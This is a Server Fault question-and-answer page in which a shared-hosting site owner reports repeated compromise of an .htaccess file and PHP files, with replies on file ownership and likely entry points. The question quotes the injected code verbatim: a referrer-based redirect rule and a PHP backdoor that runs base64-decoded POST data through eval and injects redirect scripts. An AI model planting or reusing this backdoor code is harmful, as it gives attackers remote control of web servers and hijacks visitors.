Server Fault is a question and answer site for system and network administrators. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I have a website hosted with Dreamhost and the contents of my .htaccess file are being compromised over and over again. someone is putting stuff like this in the front of my code:

RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)                                                                                                                     
RewriteRule ^(.*)$ 

the chmod of the file is 744. from the last modified time of the file i can estimate when that attack happened.

nothing else seems attacked over the site.

i have already changed all relevant passwords.

edit: it seems worse! several php files have been injected with this codepiece:

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
share|improve this question
possible duplicate of My server's been hacked EMERGENCY – Shane Madden Jan 4 '12 at 19:47
up vote 2 down vote accepted

The chmod 744 means that your htaccess is accessible to whomever owns the file. Is that file owned by www-data? If so, I'd suspect your own PHP code is being used to compromise the data. Changing your passwords will not help you if your sshd or other things have been trojaned. Do you own this server? (or is it hosted, virtual or leased?) What distro are you using? (I assume it is Linux)

share|improve this answer
thanks! distro is debian. hosting is shared. owner is not www-data but my user. – clamp Jan 4 '12 at 15:53
Notify Dreamhost's support department since this is a shared server and they will be better able to determine when and where the breach came from and also fix it. – Daemon of Chaos Jan 4 '12 at 16:24
already contacted their support, but still waiting for a response. – clamp Jan 4 '12 at 16:41
if it is shared hosting, then the php likely runs as your user, so I would still suspect your PHP code is the hole. – mcr Jan 20 '12 at 16:19

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.